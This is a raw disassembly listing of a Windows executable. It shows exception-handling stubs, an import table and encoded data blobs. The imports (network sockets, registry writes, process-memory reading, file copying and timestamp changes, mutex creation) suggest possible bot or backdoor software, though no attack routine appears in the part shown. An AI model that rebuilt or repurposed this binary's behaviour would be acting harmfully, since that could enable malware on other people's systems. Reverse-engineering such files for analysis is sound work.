sub_416EAF leave retn 0Ch sub_416E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: sub_416E40+6p ; sub_416E4E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; =============== S U B R O U T I N E ======================================= sub_416F05 proc near ; DATA XREF: .rdata:off_4172B4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416F4E test [esp+4+arg_0], 1 jz short loc_416F1B push esi call sub_416DCC pop ecx loc_416F1B: ; CODE XREF: sub_416F05+Dj mov eax, esi pop esi retn 4 sub_416F05 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4172B4 jz short loc_416F48 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416F48: ; CODE XREF: .text:00416F40j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416F4E proc near ; CODE XREF: sub_416F05+3p ; DATA XREF: .rdata:004173BCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4172B4 test eax, eax jz short loc_416F64 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416F64: ; CODE XREF: sub_416F4E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_416F72 push esi call ds:dword_4170B0 ; LocalFree loc_416F72: ; CODE XREF: sub_416F4E+1Bj pop esi retn sub_416F4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: sub_401244+120p ; sub_406E8E+DAp ... jmp ds:dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: sub_4020C2+113p ; sub_4038BA+22Fp ... jmp ds:dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: sub_402A32+CCp ; sub_402A32+2B9p ... jmp ds:dword_417118 sub_416F80 endp ; =============== S U B R O U T I N E ======================================= sub_416F86 proc near ; DATA XREF: .rdata:off_4172BCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416FA8 test [esp+4+arg_0], 1 jz short loc_416F9C push esi call sub_416DCC pop ecx loc_416F9C: ; CODE XREF: sub_416F86+Dj mov eax, esi pop esi retn 4 sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp ds:dword_41711C sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA8 proc near ; CODE XREF: sub_416F86+3p jmp ds:dword_417120 sub_416FA8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A00h] call sub_415B3F retn ; =============== S U B R O U T I N E ======================================= sub_416FBC proc near ; DATA XREF: .rdata:0041737Co lea ecx, [ebp-10h] call sub_415B3F retn sub_416FBC endp ; --------------------------------------------------------------------------- lea ecx, [ebp-0DF8h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0E14h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FDD: ; DATA XREF: sub_414EF4o mov eax, offset dword_417350 jmp loc_416E08 ; --------------------------------------------------------------------------- align 20h _text ends ; Section 2. (virtual address 00017000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00017000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 417000h dword_417000 dd 77DECF4Ah ; resolved to->ADVAPI32.RegEnumValueAdword_417004 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_406C51+96r dword_417008 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_406722+184r ... dword_41700C dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4083AD+2DDr ... dword_417010 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_417014 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_417018 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameAdword_41701C dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_417020 dd 77DE5244h ; resolved to->ADVAPI32.CryptGenRandom ; sub_4102AE+37r ... dword_417024 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_417028 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_406722+2F9r ... align 10h dword_417030 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_40D043+20Br ... dword_417034 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_408342+4Br dword_417038 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryAdword_41703C dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_414EF4+8EEr dword_417040 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_417044 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_406B81+95r ... dword_417048 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_41704C dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_417050 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_406AE7+15r ... dword_417054 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_403BD3+32r ... dword_417058 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_403BD3+4Dr ... dword_41705C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_407148+18Br ... dword_417060 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; sub_406E8E+1FEr dword_417064 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_409CB1+CFr ... dword_417068 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_406D90+D3r dword_41706C dd 7C8217EAh ; resolved to->KERNEL32.SearchPathAdword_417070 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_401981+D7r dword_417074 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_401981+111r dword_417078 dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameAdword_41707C dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_406E8E+2A5r dword_417080 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_417084 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_417088 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_41708C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_40332B+1D0r ... dword_417090 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40332B+1D7r ... dword_417094 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_406041+193r ... dword_417098 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_406509+91r dword_41709C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401244+4F4r ... dword_4170A0 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_406643+3Br dword_4170A4 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401244+4C1r ... dword_4170A8 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_406E8E+22Ar ... dword_4170AC dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401E38+30r ... dword_4170B0 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4170B4 dd 7C810637h ; resolved to->KERNEL32.CreateThreaddword_4170B8 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_4170BC dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_4170C0 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_4170C4 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_4170C8 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_408F2E+134r dword_4170CC dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_408F2E+7Fr ... dword_4170D0 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_4092A4:loc_409307r ... dword_4170D4 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_4092A4+14r ... dword_4170D8 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4092A4+Ar ... dword_4170DC dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_4170E0 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_4098F3+1B6r dword_4170E4 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSectiondword_4170E8 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessId ; sub_406643+19r dword_4170EC dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4170F0 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_4170F4 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorModedword_4170F8 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4170FC dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_414EF4+5BCr ... dword_417100 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_417104 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_417108 dd 7C830D74h ; resolved to->KERNEL32.lstrcmpA ; sub_414EF4+5CEr ... dword_41710C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection dd 0 dword_417114 dd 77C1C1F3h ; resolved to->MSVCRT._itoadword_417118 dd 77C464BFh ; resolved to->MSVCRT._strnicmpdword_41711C dd 77C226F6h ; resolved to->MSVCRT._CxxThrowExceptiondword_417120 dd 77C21868h dword_417124 dd 77C227FAh ; resolved to->MSVCRT.__CxxFrameHandlerdword_417128 dd 77C472B0h ; resolved to->MSVCRT.memmovedword_41712C dd 77C46030h ; resolved to->MSVCRT.strcpydword_417130 dd 77C35E02h ; resolved to->MSVCRT._rotrdword_417134 dd 77C35DDEh ; resolved to->MSVCRT._rotldword_417138 dd 77C3FF8Ah ; resolved to->MSVCRT._vsnprintfdword_41713C dd 77C46EB0h ; resolved to->MSVCRT.memcmpdword_417140 dd 77C1C9C9h ; resolved to->MSVCRT.tolowerdword_417144 dd 77C47730h ; resolved to->MSVCRT.strcmpdword_417148 dd 77C4186Ah ; resolved to->MSVCRT.printfdword_41714C dd 77C29CC5h dword_417150 dd 77C29CDDh dword_417154 dd 77C3FE49h ; resolved to->MSVCRT.vsprintfdword_417158 dd 77C3A3DBh ; resolved to->MSVCRT._beginthreadexdword_41715C dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_417160 dd 77C50290h ; resolved to->MSVCRT.ceildword_417164 dd 77C4FA10h ; resolved to->MSVCRT._ftoldword_417168 dd 77C39E7Eh ; resolved to->MSVCRT.exitdword_41716C dd 77C2C437h ; resolved to->MSVCRT.reallocdword_417170 dd 77C47A50h ; resolved to->MSVCRT.strncmpdword_417174 dd 77C3FA76h ; resolved to->MSVCRT._snprintfdword_417178 dd 77C47C60h ; resolved to->MSVCRT.strstrdword_41717C dd 77C41B72h ; resolved to->MSVCRT.sscanfdword_417180 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_417184 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_417188 dd 77C411FBh ; resolved to->MSVCRT.freaddword_41718C dd 77C3F010h ; resolved to->MSVCRT.fopendword_417190 dd 77C40AB1h ; resolved to->MSVCRT.fclosedword_417194 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_417198 dd 77C41574h ; resolved to->MSVCRT.ftelldword_41719C dd 77C46040h ; resolved to->MSVCRT.strcatdword_4171A0 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_4171A4 dd 77C4A969h ; resolved to->MSVCRT.clockdword_4171A8 dd 77C3F931h ; resolved to->MSVCRT.sprintfdword_4171AC dd 77C47A90h ; resolved to->MSVCRT.strncpydword_4171B0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_4171B4 dd 77C2C21Bh ; resolved to->MSVCRT.freedword_4171B8 dd 77C2C407h ; resolved to->MSVCRT.mallocdword_4171BC dd 77C478A0h ; resolved to->MSVCRT.strlendword_4171C0 dd 77C4624Eh ; resolved to->MSVCRT._stricmp align 8 dword_4171C8 dd 7712A63Fh align 10h dword_4171D0 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_402A32+79Br ... align 8 dword_4171D8 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_4171DC dd 7E44F209h ; resolved to->USER32.IsCharAlphaNumericAdword_4171E0 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_408F2E+1D1r ... dword_4171E4 dd 7E43212Bh ; resolved to->USER32.GetWindowTextA ; sub_415B60+84r dword_4171E8 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_4171EC dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4050EA+106r ... dword_4171F8 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4171FC dd 71AC1028h ; resolved to->WS2_32.accept ; sub_4048EF+39Fr dword_417200 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_412A3A+178r ... dword_417204 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_4055E5+7Br ... dword_417208 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_411DC5+DFr ... dword_41720C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40A9CF+1A74r dword_417210 dd 71AC0B50h ; resolved to->WS2_32.getpeername ; sub_4045B2+21r dword_417214 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_40447B+10r dword_417218 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_4046BC+CEr ... dword_41721C dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_40732D+1A8r ... dword_417220 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_4038BA+171r ... dword_417224 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_4038BA+186r ... dword_417228 dd 71ABE59Dh ; resolved to->WS2_32.getservbyportdword_41722C dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_404E1C+E0r ... dword_417230 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40A9CF+1A80r ... dword_417234 dd 71AB2A5Eh ; resolved to->WS2_32.WSASetLastError ; sub_403588+4Ar ... dword_417238 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_403588+1FEr ... dword_41723C dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_4055E5+F3r ... dword_417240 dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_40449C+21r ... dword_417244 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_4055E5+DDr ... dword_417248 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4053DC+27r ... dword_41724C dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4020C2+201r dword_417250 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_411DC5+372r ... dword_417254 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_407148+183r ... dword_417258 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_41725C dd 71AB4489h ; resolved to->WS2_32.WSAIoctldword_417260 dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_417264 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_417268 dd 71AB88D3h ; resolved to->WS2_32.listen align 10h flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r ; sub_401E38+22Fr ... flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 dd offset sub_416AC5 dd offset sub_416ADB dd offset dword_4172F0 off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o ; .text:00416F3Ao ... dd offset dword_417338 off_4172BC dd offset sub_416F86 ; DATA XREF: .data:off_41DDE0o ; .data:off_41DE00o off_4172C0 dd offset off_41DDE0 ; DATA XREF: .rdata:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) dd 1, 4172D8h dword_4172F0 dd 3 dup(0) dd offset off_41DDE0 dd offset dword_4172DC+4 dd 0 off_417308 dd offset off_41DE00 ; DATA XREF: .rdata:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: .rdata:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) dd offset off_41DE00 dd offset unk_417328 align 10h dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) dd 0FFFFFFFFh, 416FB0h, 0 dd offset sub_416FBC dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DDE0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h dword_4173B8 dd 0 dd offset sub_416F4E dd 0 dd offset dword_4173B0 dword_4173C8 dd 1757Ch, 2 dup(0) dd 17876h, 17114h, 1765Ch, 2 dup(0) dd 1788Eh, 171F4h, 17498h, 2 dup(0) dd 17C70h, 17030h, 17640h, 2 dup(0) dd 17CE6h, 171D8h, 17468h, 2 dup(0) dd 17DBAh, 17000h, 17638h, 2 dup(0) dd 17DD8h, 171D0h, 17630h, 2 dup(0) dd 17E3Eh, 171C8h, 5 dup(0) dd 17D12h, 17D00h, 17D22h, 17D32h, 17D46h, 17D58h, 17D6Ah dd 17D7Ah, 17D90h, 17DA2h, 17CF2h, 0 dd 17AB6h, 17AA4h, 17A8Ch, 17A80h, 17A68h, 17A5Ah, 17A4Ch dd 17A3Eh, 17A28h, 17A18h, 17A06h, 179F8h, 179ECh, 179DCh dd 179D0h, 179C2h, 179B4h, 179A0h, 17AC6h, 1797Ch, 1796Ch dd 17956h, 1794Ah, 17920h, 1790Ah, 178FCh, 178E8h, 178E0h dd 178CCh, 178BEh, 178A8h, 1789Ah, 17E32h, 17BCAh, 17BDAh dd 17BECh, 17BFCh, 17ADAh, 17AF0h, 17B06h, 17B16h, 17B26h dd 17B42h, 17B5Ch, 17B6Ch, 17B7Eh, 17934h, 17B9Ah, 1798Eh dd 17C60h, 17C50h, 17C44h, 17C38h, 17C1Eh, 17C12h, 17BB2h dd 0 dd 17DF0h, 17DF8h, 17E04h, 17E1Ah, 17862h, 17858h, 176D8h dd 17850h, 17848h, 1783Ah, 17830h, 17826h, 1781Ch, 17812h dd 17802h, 177F2h, 177E6h, 177D4h, 177C0h, 177B8h, 177B0h dd 177A8h, 1779Eh, 17794h, 17788h, 1777Eh, 17774h, 1776Ch dd 17764h, 1775Ch, 17754h, 1774Ah, 17740h, 17738h, 1772Eh dd 17724h, 1771Ch, 17712h, 17708h, 176FEh, 176F6h, 176ECh dd 176E2h, 17DE4h, 0 dd 800000C8h, 0 dd 17DC8h, 0 dd 17C9Ch, 17CD0h, 17C7Eh, 17C8Ah, 17CB2h, 17CC0h, 0 dd 80000004h, 80000097h, 80000001h, 80000016h, 80000015h dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h dd 8000000Ch, 80000033h, 8000006Fh, 80000038h, 80000012h dd 80000003h, 80000070h, 80000009h, 80000034h, 80000006h dd 8000000Bh, 80000010h, 80000008h, 80000014h, 80000074h dd 80000011h, 17882h, 80000039h, 80000073h, 8000000Dh dd 0 dd 747302BAh, 79706372h, 2BE0000h, 6C727473h, 6E65h, 616D0291h dd 636F6C6Ch, 25E0000h, 65657266h, 2970000h, 636D656Dh dd 7970h, 747302C1h, 70636E72h, 2B20079h, 69727073h, 66746Eh dd 6C630243h, 6B636Fh, 656D0299h, 7465736Dh, 2B60000h dd 63727473h, 7461h, 74660264h, 6C6C65h, 77660266h, 65746972h dd 24C0000h, 6F6C6366h, 6573h, 6F660257h, 6E6570h, 7266025Dh dd 646165h, 73660262h, 6B6565h, 7461023Dh, 696Fh, 737302B5h dd 666E6163h, 2C50000h, 73727473h, 7274h, 735F01AEh, 6972706Eh dd 66746Eh, 747302C0h, 6D636E72h, 2A70070h, 6C616572h dd 636F6Ch, 78650249h, 7469h, 665F00F1h, 6C6F74h, 65630241h dd 6C69h, 655F00CAh, 70656378h, 61685F74h, 656C646Eh, 3372h dd 625F00A6h, 6E696765h, 65726874h, 78656461h, 2DC0000h dd 72707376h, 66746E69h, 100000h, 40333F3Fh, 50584159h dd 5A405841h, 0F0000h, 40323F3Fh, 41504159h, 5A404958h dd 29E0000h, 6E697270h, 6674h, 747302B8h, 706D6372h, 2D30000h dd 6F6C6F74h, 726577h, 656D0296h, 706D636Dh, 1E10000h dd 6E73765Fh, 6E697270h, 6674h, 725F019Bh, 6C746Fh, 725F019Ch dd 72746Fh, 656D0298h, 766F6D6Dh, 490065h a__cxxframehand db '__CxxFrameHandler',0 aMsvcrt_dll db 'MSVCRT.dll',0 align 2 db '(',0 aWsaioctl db 'WSAIoctl',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 2 db '|',0 aDeletefilea db 'DeleteFileA',0 db 0Eh db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 a_ db '.',0 aClosehandle db 'CloseHandle',0 db 51h ; Q db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 10h db 49h ; I db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0AEh ; ® db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 704F027Ch, 72506E65h, 7365636Fh, 1750073h aGetmodulefil_0 db 'GetModuleFileNameA',0 align 10h db 77h ; w db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 4 db 3Bh ; ; db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 dw 2ABh aReadfile db 'ReadFile',0 align 2 dw 152h aGetexitcodepro db 'GetExitCodeProcess',0 align 4 db 87h ; ‡ db 2, 50h, 65h aEknamedpipe db 'ekNamedPipe',0 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 2 aM db 'Œ',0 aDuplicatehandl db 'DuplicateHandle',0 db 3Ah ; : db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcess',0 a__0 db '_',0 aCreatepipe db 'CreatePipe',0 align 2 dw 2D0h aSearchpatha db 'SearchPathA',0 db 97h ; — db 3, 57h, 72h aItefile db 'iteFile',0 db 69h ; i db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 db '=',0 aCopyfilea db 'CopyFileA',0 aP db '¯',0 aExitprocess db 'ExitProcess',0 dw 198h aGetprocaddress db 'GetProcAddress',0 align 4 db 48h ; H db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 314h aSetfiletime db 'SetFileTime',0 db 5Dh ; ] db 1, 47h, 65h aTfiletime db 'tFileTime',0 aM_0 db 'M',0 aCreatefilea db 'CreateFileA',0 db 0E9h ; é db 1, 47h, 65h aTwindowsdirect db 'tWindowsDirectoryA',0 align 10h db 0BFh ; ¿ db 3, 6Ch, 73h aTrlena db 'trlenA',0 align 4 db 0FFh db 2, 53h, 65h aTcurrentdirect db 'tCurrentDirectoryA',0 align 4 dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h db 46h ; F db 1, 47h, 65h aTdiskfreespace db 'tDiskFreeSpaceExA',0 dw 14Bh aGetdrivetypea db 'GetDriveTypeA',0 dw 1D5h aGettickcount db 'GetTickCount',0 align 2 dw 29Ah aQueryperforman db 'QueryPerformanceFrequency',0 dw 299h aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h dd 54657461h, 61657268h, 2190064h aInitializecr_0 db 'InitializeCriticalSection',0 aP_0 db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 247h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aI db 'i',0 aCreatethread db 'CreateThread',0 align 2 dw 365h aUnmapviewoffil db 'UnmapViewOfFile',0 db 5Eh ; ^ db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aN db 'N',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 3B3h aLstrcmpa db 'lstrcmpA',0 align 2 dw 150h aGetenvironment db 'GetEnvironmentVariableA',0 db 0BCh ; ¼ db 3, 6Ch, 73h aTrcpyna db 'trcpynA',0 db 0B9h ; ¹ db 3, 6Ch, 73h aTrcpya db 'trcpyA',0 align 10h aZ db 'Z',0 aCreatemutexa db 'CreateMutexA',0 align 10h db 0Ah db 3, 53h, 65h aTerrormode db 'tErrorMode',0 align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 dw 2D5h aWsprintfa db 'wsprintfA',0 dw 177h aGetwindowtexta db 'GetWindowTextA',0 align 4 db 17h db 1, 47h, 65h aTforegroundwin db 'tForegroundWindow',0 aU_1 db 'ã',0 aFindwindowa db 'FindWindowA',0 db 3Ah ; : db 2, 53h, 65h aNdmessagea db 'ndMessageA',0 align 10h db 97h ; — db 1, 49h, 73h aCharalphanumer db 'CharAlphaNumericA',0 aUser32_dll db 'USER32.dll',0 align 2 dw 1C9h aRegclosekey db 'RegCloseKey',0 dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1D90041h dd 45676552h, 566D756Eh, 65756C61h, 1E20041h, 4F676552h dd 4B6E6570h, 78457965h, 1EC0041h, 51676552h, 79726575h dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h dd 4565756Ch, 4178h, 655201CDh, 65724367h, 4B657461h, 78457965h dd 1230041h, 55746547h, 4E726573h, 41656D61h, 0A00000h aCryptreleaseco db 'CryptReleaseContext',0 aC db '–',0 aCryptgenrandom db 'CryptGenRandom',0 align 2 aE db '…',0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 db 7 db 1, 53h, 68h aEllexecutea db 'ellExecuteA',0 aShell32_dll db 'SHELL32.dll',0 db 0BDh ; ½ db 1, 5Fh, 73h aTrcmpi db 'trcmpi',0 align 10h db 34h ; 4 db 1, 5Fh, 69h db 74h ; t db 6Fh, 61h, 0 db 0C5h ; Å db 1, 5Fh, 73h aTrnicmp db 'trnicmp',0 aA_0 db 'A',0 a_cxxthrowexcep db '_CxxThrowException',0 align 2 dw 0Eh a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 2 dw 252h aLocalfree db 'LocalFree',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 200h _rdata ends ; Section 3. (virtual address 00018000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00018000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 418000h off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er ... dd offset dword_41805C dd offset dword_418040 dd offset dword_418014 dd 0 dword_418014 dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch ; DATA XREF: .data:0041800Co dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0) dword_418040 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h ; DATA XREF: .data:00418008o dd 0BFD1h, 0 dword_41805C dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:00418004o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 0C3928695h, 